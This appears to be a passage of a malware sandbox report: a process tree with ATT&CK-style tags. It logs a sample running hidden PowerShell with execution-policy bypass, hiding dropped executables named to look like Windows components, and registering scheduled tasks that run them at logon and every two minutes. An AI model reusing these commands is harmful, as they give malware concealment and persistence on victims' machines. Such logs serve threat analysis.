C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "backgroundTaskHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn backgroundTaskHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn backgroundTaskHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "backgroundTaskHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn backgroundTaskHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn backgroundTaskHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\AppModel\Cache\backgroundTaskHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.04⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SystemSettingsUpdaterSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SystemSettingsUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemSettingsUpdaterSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SystemSettingsUpdaterSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SystemSettingsUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SystemSettingsUpdaterSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\SystemSettingsUpdater.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "ngen_serviceSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn ngen_serviceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn ngen_serviceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "ngen_serviceSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn ngen_serviceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn ngen_serviceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\WinSxS\ngen_service.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe4⤵
- System Time Discovery
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
- System Time Discovery
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBrokerSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "RuntimeBrokerSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
- System Time Discovery
-
C:\Windows\system32\schtasks.exeschtasks /create /tn RuntimeBrokerSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\RuntimeBroker.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "IEUpdateSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn IEUpdateSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn IEUpdateSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "IEUpdateSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn IEUpdateSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn IEUpdateSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\.NET\Framework\IEUpdate.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Spelling" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "mscorsvwSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn mscorsvwSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn mscorsvwSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "mscorsvwSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn mscorsvwSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn mscorsvwSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Spelling\mscorsvw.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SpellCheckSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SpellCheckSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SpellCheckSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "SpellCheckSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn SpellCheckSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn SpellCheckSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\SpellCheck.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Credentials" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "TokenServiceSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn TokenServiceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn TokenServiceSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "TokenServiceSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn TokenServiceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn TokenServiceSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\Credentials\TokenService.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CredentialHostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CredentialHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn CredentialHostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "CredentialHostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn CredentialHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn CredentialHostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\SystemCertificates\CredentialHost.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
